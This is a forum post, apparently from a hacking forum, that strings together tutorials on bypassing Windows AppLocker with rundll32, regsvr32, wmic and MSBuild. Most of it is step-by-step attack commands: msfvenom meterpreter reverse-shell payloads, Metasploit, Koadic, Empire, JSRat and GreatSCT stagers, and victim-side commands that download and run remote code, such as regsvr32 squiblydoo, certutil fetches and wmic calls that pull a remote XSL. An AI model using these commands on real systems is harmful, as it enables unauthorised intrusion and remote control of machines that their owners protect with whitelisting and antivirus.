Login

**NINZA** · 05-14-2020, 11:19 AM

0			0

This article demonstrates the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason the system admin add group policies to restrict app execution for a local user. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with RunDLL files.

Tables of Content

Introduction
Working of DLL files
Advantages
Disadvantages
Different methods for AppLocker Bypass using DLL files
Conclusion

Introduction

DLL files are very Important for window’s OS to work and it also determines the working of other programs that customize your windows. Dynamic Link Library (DLL) files are the type of file which provides instructions to other programs on how to call upon certain things. Therefore, multiple software’s can share such DLL files, even simultaneously. In spite of being in the same format as a .exe file, DLL files are not directly executable like .exe files. DLL file extensions can be : .dll (Dynamic Link Library), .OCX (ActiveX Controls), .CPL (Control Panel), .DRV (Device Drivers).

Working

When in use, DLL files are divided into sections. This makes the working of DLL files easy and faster. Each section is installed in the main program at run time. As each section is different and independent; load time is faster and is only done when the functionality of the said file is required. This ability also makes upgrades easier to apply without affecting other sections. For example, you have a dictionary program and new words are added every month, so for this, all you have to do is update it; without requiring to install a whole another program for it.
Advantages

Uses fewer resources
Promotes modular architecture
Eases deployment and installation

Disadvantages

A dependent DLL is upgraded to a new version.
A dependent DLL is fixed.
A dependent DLL is overwritten with an earlier version.
A dependent DLL is removed from the computer.

Methods

Smb_Delivery
MSFVenom
Koadic
Get-Command Prompt via cmd.dll
JSRat

SMB Delivery
So, our method is using smb_delivery. To use this method, open the terminal in kali and type the following commands ;
msfconsole
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) > exploit
1
2
3
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) > exploit
Now run the malicious code through rundll32.exe in the windows machine to obtain meterpreter sessions.
[Image: 1.png?w=687]

As the above exploit will run, it will provide you with a command that is to be executed on the victim’s PC; in order to get a session. So copy and paste the given command in the run window of the victim’s PC as shown in the image below:
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0
1
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0
[Image: 2.png?w=687]

As soon as the command is executed, you will have your meterpreter session. To access the session type :
sessions 1
sysinfo
1
2
sessions 1
sysinfo
[Image: 3.png?w=687]

MSFVenom
Our second method is via MSFVenom. For the utilization of this method, type the following command in the terminal of kali :
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll
[Image: 4.png?w=687]

Once the payload is created, run the following command in the run window of victim’s PC:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
1
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
[Image: 5.png?w=687]

Simultaneously, start the multi/handler to get a session by typing :
msfconsole
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
[Image: 6.png?w=687]

Koadic
Our next method is using Koadic framework. Koadic is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link:

[To see content please register here]

Once the koadic is up and running, type:
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run
1
2
3
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run
[Image: 8.png?w=687]

Running the exploit will give you a command. Copy that command from rundll32.exe to 6.0”) and paste it in the command prompt of the victims’ PC.
Once you run the command in the cmd, you will have your session. As shown in the following image.
To access the session type :
zombies 0
1
zombies 0
[Image: 9.png?w=687]

Get-Command Prompt via cmd.dll
Now the dilemma is, what to do if the command prompt is blocked in victim’s PC.
[Image: 10.1.png?w=687]

If the command line is blocked, there is script developed by Didier Stevens which you can use to solve your little problem. You can find them in the following link :

[To see content please register here]

In the above URL, you will download a zip file. Extract that zip file and use the following command to run the said file in run windows:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
1
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
[Image: 10.png?w=687]

As soon as you run the command, you will have an unblocked the cmd. As shown below:
[Image: 11.png?w=687]

JSRat
Our next method of attacking regsvr32 is by using JSRat and you can download it from

[To see content please register here]

. This is another command and control framework just like koadic and Powershell Empire for generating malicious task only for rundll32.exe and regsvr32.exe. JSRat will create a web server and on that web server, we will find our .js file. To use this method type:
./JSRat.py -i 192.168.1.107 -p 4444
1
./JSRat.py -i 192.168.1.107 -p 4444
[Image: 12.png?w=687]

Once JSRat starts working, it will give you a link to open in the browser. That web page will have a code which is to be executed on the victim’s pc.
[Image: 13.png?w=687]

Therefore, open the //192.168.1.107/wtf link in your browser. There you will find the said code as shown in the image below:
[Image: 14.png?w=687]

Run that code in the command prompt of the victims’ PC as shown:
[Image: 15.png?w=687]

And voila, you will have a session as the image below:
[Image: 16.png?w=687]

Conclusion
DLL files are a collection of various codes and procedure held together. These files help windows programs to execute accurately. These files were created for multiple programs to use them simultaneously. This technique helps in memory conservation. Therefore these files are important and required by windows to run properly without giving users any kind of problems. Hence, exploitation through such files is very efficient and lethal. And above-presented methods are different ways to do it.

The purpose to write this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason the system admin add group policies to restrict app execution for a local user. In our previous article, we had discussed on “

[To see content please register here]

” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with regsvr32.exe.
Tables of Content

Introduction to regsvr
Working of regsvr
Multiple methods to attack regsvr

Introduction
Regsvr32 stands for Microsoft Register Server. It is the windows’ command-line utility tool. While regsvr32 causes problems sometimes; it’s an important file as its windows system file. The file is found in the subfolder of C:\Windows. This file is able to observe, track and influence other programs. It’s mainly used to register and unregister programs in windows file extension for this is .exe and its process widely assists OLE (Object Linking and Embedding), DLL (Data Link Libraries) and OCX (ActiveX control modules). The said process works in the background and can be seen with a task manager. Its Microsoft’s one of the trusted files.
Working
Information about programs associated with regsvr32 is added to windows when you register a DLL file in regsvr32. These defenses are then accessed to understand where the program data is and how to interact with it. While registering a DLL file, information is added to central the directory so that it can be used by the windows. The whole path of these files literally has the executable code and due to these files windows can call upon specific functions. These files are very convenient as when software is updated, these files automatically call upon the updated version; in short, it helps avoid the version problems of software. Usually, this file is not commonly used except for registering and unregistering DLL files.
RegSvr32.exe has the following command-line options:
Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>
/u – Unregister server
/i – Call DllInstall passing it an optional [cmdline]; when it is used with /u, it calls to dll uninstall
/n – do not call DllRegisterServer; this option must be used with /i
/s – Silent; display no message boxes
To know more about it, visit here: //support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages
Multiple Methods

Web delivery
Empire
Manual
MSFVenom
Koadic
JSRat
GreatSCT

Web Delivery
This module quickly fires up a web server that serves a payload. The provided command will allow for a payload to download and execute. It will do it either through specified scripting language interpreter or “squiblydoo” via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection.
Regsvr32 uses the “squiblydoo” technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request a .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. “PSH (Binary)” will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
Copy the highlighted text shown in the image below:
[Image: 1.png?w=687]

Once the exploit is running; you will have a URL made for you. Run that URL in the command prompt of the Victim’s PC as shown below:
regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll
1
regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll
[Image: 2.png?w=687]

Once you hit enter after the command, you will have your session. Type ‘sysinfo’ for the information of the PC as shown in the image below:
[Image: 3.png?w=687]

PowerShell Empire
For our next method of regsvr Attack, we will use empire. Empire is a post-exploitation framework. Till now we have to pair our .sct tacks with Metasploit but in this method, we will use the empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by

[To see content please register here]

,

[To see content please register here]

,

[To see content please register here]

,

[To see content please register here]

,

[To see content please register here]

, and

[To see content please register here]

. You can download this framework from

[To see content please register here]

.
To have a basic guide of Empire, please visit our article introducing empire:

[To see content please register here]

Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener, type :
uselistner http
set Host //192.168.1.109
execute
1
2
3
uselistner http
set Host //192.168.1.109
execute
With the above commands, you will have an active listener. Type back to go out of listener so you can initiate your PowerShell.
[Image: 4.png?w=687]

Once you are out the listener, you need to use an exploit to create your malicious file. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. Which means to create an exploit, we will have to usestager. Therefore, type :
usestager windows/launcher_sct
set listener http
execute
1
2
3
usestager windows/launcher_sct
set listener http
execute
After the execution of executing the command, usestager will create a launcher.sct in /tmp. Now to get session start the python server by typing:
python -m SimpleHTTPServer 8080
1
python -m SimpleHTTPServer 8080
As the server is on, the only step left is to execute our malware in the victim’s PC. For this, type the following command in the command prompt :
regsvr /s /n /u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
1
regsvr /s /n /u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
In the above command, we have used port 8080 because our server of python is activated on the same port.
[Image: 5.png?w=687]

Once the above is executed as told, you will receive a session. To access the session type :
interact 9ATUX4M7
1
interact 9ATUX4M7
9ATUX4M7: is an agent/session name. this will vary from session to session.
Inject PowerShell code in sct File (Manual Method)
Our next method manual with a help of an exploit. The exploit we will use will help us to create a powershell code. So let’s first create our powershell and for this go to the terminal of kali and type
After running this exploit, it will show you the powershell code on the terminal screen as shown in the following image :
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
Copy the highlighted text shown in below:
[Image: 6.png?w=687]

Regsvr32 is a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry. Regsvr32.exe is installed in the %systemroot%\System32 folder in Windows XP and later versions of Windows.
Now we need to create a .sct file in order for our attack to run. We found a script online to create a .sct file. You can access the link for the script by clicking

[To see content please register here]

. The script is shown in the image below :
[Image: 7.png?w=687]

Copy the PowerShell code which was created by web_delivery and paste it in the above script where it says “calc.exe” as shown in the image below and then finally save it with .sct extension.
[Image: 8.1.png?w=687]

Then just like before, run the following command to execute the .sct file with regsvr32.exe in the victim’s PC:
regsvr32 /u /n /s /i://192.168.1.109/1.sct scrobj.dll
1
regsvr32 /u /n /s /i://192.168.1.109/1.sct scrobj.dll
[Image: 8.png?w=687]

As soon as the above command is executed, you will have your session through web_delivery. To access the session type ‘sessions 1’ and ‘info’ to have basic information about the system.
[Image: 9.png?w=687]

MsfVenom
Our next method is to use msfvenom. Through this method, we will create two .sct files, one to download our malware and another to execute it. But first let’s get going with msfvenom and for that type :
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe
[Image: 10.png?w=687]

Start up the python server using the following command:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
And simultaneously, in the same script, used in the previous method inject a certutil.exe command to call the shell.exe file from remote server. Therefore, instead of “calc .exe” write the following and save file again with .sct extension:
certutil.exe -urlcache -split -f //192.168.1.109/shell.exe
1
certutil.exe -urlcache -split -f //192.168.1.109/shell.exe
We have used certutil here as it allows to download a file in windows and also saved the file as 3.sct.
[Image: 11.png?w=687]

Now, run the above script using the following command:
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll
1
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll
[Image: 12.png?w=687]

We will create another file to execute our previous file “shell.exe”. For that again take the same script and where its written “calc.exe”; therefore write :
cmd /k cd c:\Users\raj & shell.exe
1
cmd /k cd c:\Users\raj & shell.exe
[Image: 13.png?w=687]

This we have saved the script as 4.sct and again run this script using the following command :
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll
1
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll
[Image: 14.png?w=687]

Simultaniously, start up the multi handler too, to get a session. Hence, type :
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
After running the command in the victim’s PC, u will have a meterpreter session.
[Image: 15.png?w=687]

Koadic
Our next method is using Koadic. Koadic is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link:

[To see content please register here]

Once the koadic is up and running, type:
use stager/js/regsvr
set srvhost 192.168.1.107
run
1
2
3
use stager/js/regsvr
set srvhost 192.168.1.107
run
[Image: 17.png?w=687]

After this, type the following in the command prompt of the victim’s PC:
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll
1
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll
Once you run the above command, you will have a session. To access the session type :
zombies 0
1
zombies 0
[Image: 18.png?w=687]

JSRat
Our next method of attacking regsvr32 is by using JSRat and you can download it from

[To see content please register here]

. This is another very small command and control framework just like koadic and Powershell Empire for generating malicious task only for rundll32.exe and regsvr32.exe. JSRat will create a web server and on that web server, we will find our .sct file. To use this method type:
./JSRat.py -I 192.168.1.107 -p 4444
1
./JSRat.py -I 192.168.1.107 -p 4444
[Image: 19.png?w=687]

Running the above command will start web server.
[Image: 20.png?w=687]

Open this in your browser as shown below. Here, you will find the .sct file that you need to run on your victim’s PC.
[Image: 21.png?w=687]

As we have got the command, run the command in the run window as shown in the image below:
[Image: 22.png?w=687]

After executing the command in the run window you will have a session as shown:
[Image: 23.png?w=687]

GreatSCT
GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from
//github.com/GreatSCT/GreatSCT
1
//github.com/GreatSCT/GreatSCT
Once it’s downloaded and running, type the following command to access the modules :
use Bypass
1
use Bypass
[Image: 24.png?w=687]

Then type ‘list’ to get the list of modules.
[Image: 25.png?w=687]

List of modules will appear as shown in the image below:
[Image: 27.png?w=687]

From the list of modules choose the following :
use regsvr/shellcode_iject/base64_migrate.py
generate
1
2
use regsvr/shellcode_iject/base64_migrate.py
generate
[Image: 28.png?w=687]

After the above commands, type 1 to choose MSFVenom
[Image: 29.png?w=687]

Then it will ask you for payload. Just press enter as it will take windows/meterpreter/reverse_tcp as a default payload and that is the one we need. After that provide IP like here we have given 192.168.1.107 and the given port (any) as here you can see in the image below that we have given lport as 2345
[Image: 31.png?w=687]

After giving the details, it will ask you a name for your malware. By default, it will set name ‘payload’ so either you can give a name or just press enter for the default settings.
[Image: 33.png?w=687]

And just as you press enter it will generate two files. One of them will be a resource file and others will be a .sct file.
[Image: 34.png?w=687]

Now, firstly, start the python’s server in /usr/share/greatsct-output by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 35.png?w=687]

Now execute the .sct file in the run window of the victim’s PC as shown below.
[Image: 36.png?w=687]

Simultaneously, start the multi/handler using the resource file. For this, type :
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And you have a meterpreter session.
[Image: 37.png?w=687]

Conclusion
Using regsvr32 to gain a session is an unusual way but it’s very important. And so above mentioned methods uses different tools and software to allow us to perform this attack.

The purpose of this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reasons, the system admin adds group policies to restrict application execution for local users. In our previous article, we had discussed on “

[To see content please register here]

” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies using wmic.exe.
Table of Content
Introduction to Wmic.exe
Exploiting Techniques

Koadic
Powershell Empire
Link hta within XSL code

Wmic.exe
The WMIC utility is a Microsoft tool that provides a WMI command-line interface that is used for a variety of administrative functions for local and remote machines and also for wmic queries, such as system settings, stop processes and run scripts locally or remotely. Therefore, it can invoke the XSL script (eXtensible Stylesheet Language).
Exploiting Techniques
Koadic
We will generate a malicious XSL file with the help of koadic which is a Command & Control tool which is quite similar to the Metasploit and Powershell Empire.
To know how koadic works, read our article from here:

[To see content please register here]

Once installation gets completed, you can run ./koadic file to start koadic and start with loading the stager/js/wmic stager by running the following command and set SRVHOST where the stager should call home.
use stager/js/wmic
set SRVHOST 192.168.1.107
run
1
2
3
use stager/js/wmic
set SRVHOST 192.168.1.107
run
[Image: 5.png?w=687]

Execute WMIC following command to download and run the malicious XSL file from a remote server:
wmic os get /FORMAT:"//192.168.1.107:9996/g8gkv.xsl"
1
wmic os get /FORMAT:"//192.168.1.107:9996/g8gkv.xsl"
[Image: 6.png?w=687]

Once the malicious XSL file will get executed on the target machine, you will have a Zombie connection just like Metasploit.
[Image: 7.png?w=687]

PowerShell Empire
For our next method of wmic Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our xsl tacks with Metasploit but in this method, we will use empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from

[To see content please register here]

.
To have a basic guide of Empire, please visit our article introducing empire:

[To see content please register here]

Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :
listeners
uselistner http
set Host //192.168.1.107
execute
1
2
3
4
listeners
uselistner http
set Host //192.168.1.107
execute
With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell.
For our wmic attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:
usestager windows/launcher_xsl
set Listener http
execute
1
2
3
usestager windows/launcher_xsl
set Listener http
execute
Usestager will create a malicious code file that will be saved in the /tmp named launcher.xsl.
[Image: 8.png?w=687]

We have use python HTTP server to transfer this file inside victim’s machine
[Image: 9.png?w=687]

And once the file runs, we will have the result on our listener. Run the file in your victim’s machine by typing following command:
wmic process get brief /format:"//192.168.1.107:8080/launcher.xsl"
1
wmic process get brief /format:"//192.168.1.107:8080/launcher.xsl"
[Image: 10.png?w=687]

To see if we have any session open type ‘agents’. Doing so will show you the name of the session you have. To access that session type :
interact Z639YHPA
sysinfo
1
2
interact Z639YHPA
sysinfo
[Image: 11.png?w=687]

Link hta within XSL code
As we know, wmic can execute any file or script remotely, so we will link an hta file within the XSL code. An XSL file will contain a link, to download and execute a malicious hta file via mshta.exe, which is officially triggered by wmic.
Therefore, let’s generate an hta file with the help of Metasploit:
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
1
2
3
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Now copy the URL and place inside the XSL code, because they have the ability to execute language script of Microsoft.
[Image: 12.png?w=687]

Then, we have created a “payload.xsl “file, you can take help from this

[To see content please register here]

for writing XSL code and then place the link of hta file as shown below.
[Image: 13.png?w=687]

Now again we need to execute XSL file through wmic.exe with the help of the following command:
wmic os get /FORMAT:"//192.168.1.109/payload.xsl"
1
wmic os get /FORMAT:"//192.168.1.109/payload.xsl"
[Image: 14.png?w=687]

Once the above command is executed you will have a session open. To access the session, type:
sessions 1
1
sessions 1
[Image: 15.png?w=687]

The purpose of this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason, the system admin adds group policies to restrict app execution for the local user. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with MSbuild.exe.
Table of Content
Introduction to MSbuild.exe
Exploiting Techniques

Generate CSharp file with Msfvenom
Generate XML file to Exploit MSbuild
Nps_payload Script
Powershell Empire
GreatSCT

Introduction to MSbuild.exe
The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but it doesn’t depend on Visual Studio. By invoking msbuild.exe on your project or solution file, you can organize and build products in environments where Visual Studio isn’t installed.
Visual Studio uses MSBuild to load and build managed projects. The project files in Visual Studio (.csproj, .vbproj, .vcxproj, and others) contain MSBuild XML code.
Exploiting Techniques:
Generate CSharp file with Msfvenom
We use Microsoft Visual Studio to create C # (C Sharp) programming project with a *.csproj suffix that saved in MSBuild format so that it can be compiled with the MSBuild platform into an executable program.
With the help of a malicious build, we can obtain a reverse shell of the victim’s machine. Therefore, now we will generate our file.csproj file and for that, first generate a shellcode of c# via msfvenom. Then later that shellcode will be placed inside our file.csproj as given below.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp
[Image: 1.png?w=687]

The shellcode generated above should be placed in the XML file and you can download this XML file from

[To see content please register here]

, which has the code that the MSBuild compiles and executes. This XML file should be saved as. file.csproj and must be run via MSBuild to get a Meterpreter session.
Note: Replace the shellcode value from your C# shellcode and then rename buf as shellcode as shown in the below image.
[Image: 2.png?w=687]

You can run MSBuild from Visual Studio, or from the Command Window. By using Visual Studio, you can compile an application to run on any one of several versions of the .NET Framework.
For example, you can compile an application to run on the .NET Framework 2.0 on a 32-bit platform, and you can compile the same application to run on the .NET Framework 4.5 on a 64-bit platform. The ability to compile to more than one framework is named multitargeting.
To know more about MSBuild read from here:

[To see content please register here]

Now launch multi handler to get meterpreter session and run the file.csproj file with msbuild.exe at the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
Note: you need to save your malicious payload (XML / csproj) at this location:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ and then execute this file with command prompt.
[Image: 3.png?w=687]

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
As you can observe, we have the meterpreter session of the victim as shown below:
[Image: 4.png?w=687]

Generate XML file to Exploit MSBuild
As mentioned above, MSBuild uses an XML- based project file format that is straightforward and extensible, so we can rename the generated file.csproj as file.xml and again run the file.xml with msbuild.exe on the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml
[Image: 5.png?w=687]

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
As you can observe, we have the meterpreter session of the victim as shown below:
[Image: 6.png?w=687]

Nps_Payload Script
This script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. Written by Larry Spohn (@Spoonman1091) Payload written by Ben Mauch (@Ben0xA) aka dirty_ben. You can download it from

[To see content please register here]

.
Nps_payload generates payloads that could be executed with msbuild.exe and mshta.exe to get the reverse connection of the victim’s machine via the meterpreter session.
Follow the below step for generating payload:

Run ./nps_payload.py script, once you have downloaded nps payload from GitHub
Press key 1 to select task “generate msbuild/nps/msf”
Again Press key 1 to select payload “windows/meterpreter/reverse_tcp”

This will generate a payload in the XML file, send this file at target location C:\Windows\Microsoft.Net\Framework\v4.0.30319 as done in the previous method and simultaneously run below command in a new terminal to start the listener.
msfconsole -r msbuild_nps.rc
1
msfconsole -r msbuild_nps.rc
[Image: 7.png?w=687]

Now repeat above step to execute msbuild_nps.xml with command prompt and obtain a reverse connection via meterpreter as shown below:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild_nps.xml
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild_nps.xml
[Image: 9.png?w=687]

PowerShell Empire
For our next method of msbuild Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our XML tacks with Metasploit but in this method, we will use empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from

[To see content please register here]

.
To have a basic guide of Empire, please visit our article introducing empire:
Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :
listeners
uselistner http
set Host //192.168.1.107
execute
1
2
3
4
listeners
uselistner http
set Host //192.168.1.107
execute
With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell.
For our MSBuild attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:
usestager windows/launcher_xml
set Listener http
execute
1
2
3
usestager windows/launcher_xml
set Listener http
execute
Usestager will create a malicious code file that will be saved in the /tmp named launcher.xml.
[Image: 10.png?w=687]

And once the file runs, we will have the result on our listener. Run the file in your victim’s by typing following command :
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
1
2
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
[Image: 11.png?w=687]

To see if we have any session open type ‘agents’. Doing so will show you the name of the session you have. To access that session type :
interact A8H14C7L
1
interact A8H14C7L
The above command will give you access to the session.
sysinfo
1
sysinfo
[Image: 12.png?w=687]

GreatSCT
GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here:

[To see content please register here]

Once it’s downloaded and running, type the following command to access the modules:
use Bypass
1
use Bypass
[Image: 13.png?w=687]

Now to see the list of payloads type :
list
1
list
[Image: 14.png?w=687]

Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use msbuild/meterpreter/rev_tcp.py
1
use msbuild/meterpreter/rev_tcp.py
[Image: 15.png?w=687]

Once the command is executed, type :
set lhost 192.168.1.107
generate
1
2
set lhost 192.168.1.107
generate
[Image: 16.png?w=687]

While generating the payload, it will ask you to give a name for a payload. By default, it will take ‘payload’ as the name. We had given msbuild as payload name where the output code will be saved in XML.
[Image: 17.png?w=687]

Now, it made two files. One Metasploit RC file and other a msbuild.xml file.
Now, firstly, start the python’s server in /usr/share/greatsct-output/source by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 18.png?w=687]

Run the file in your victim’s by typing following command:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml
1
2
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml
[Image: 19.png?w=687]

Simultaneously, start the multi/handler using the resource file. For this, type :
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And voila! We have a meterpreter session as shown here.
[Image: 20.png?w=687]

Reference:

[To see content please register here]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

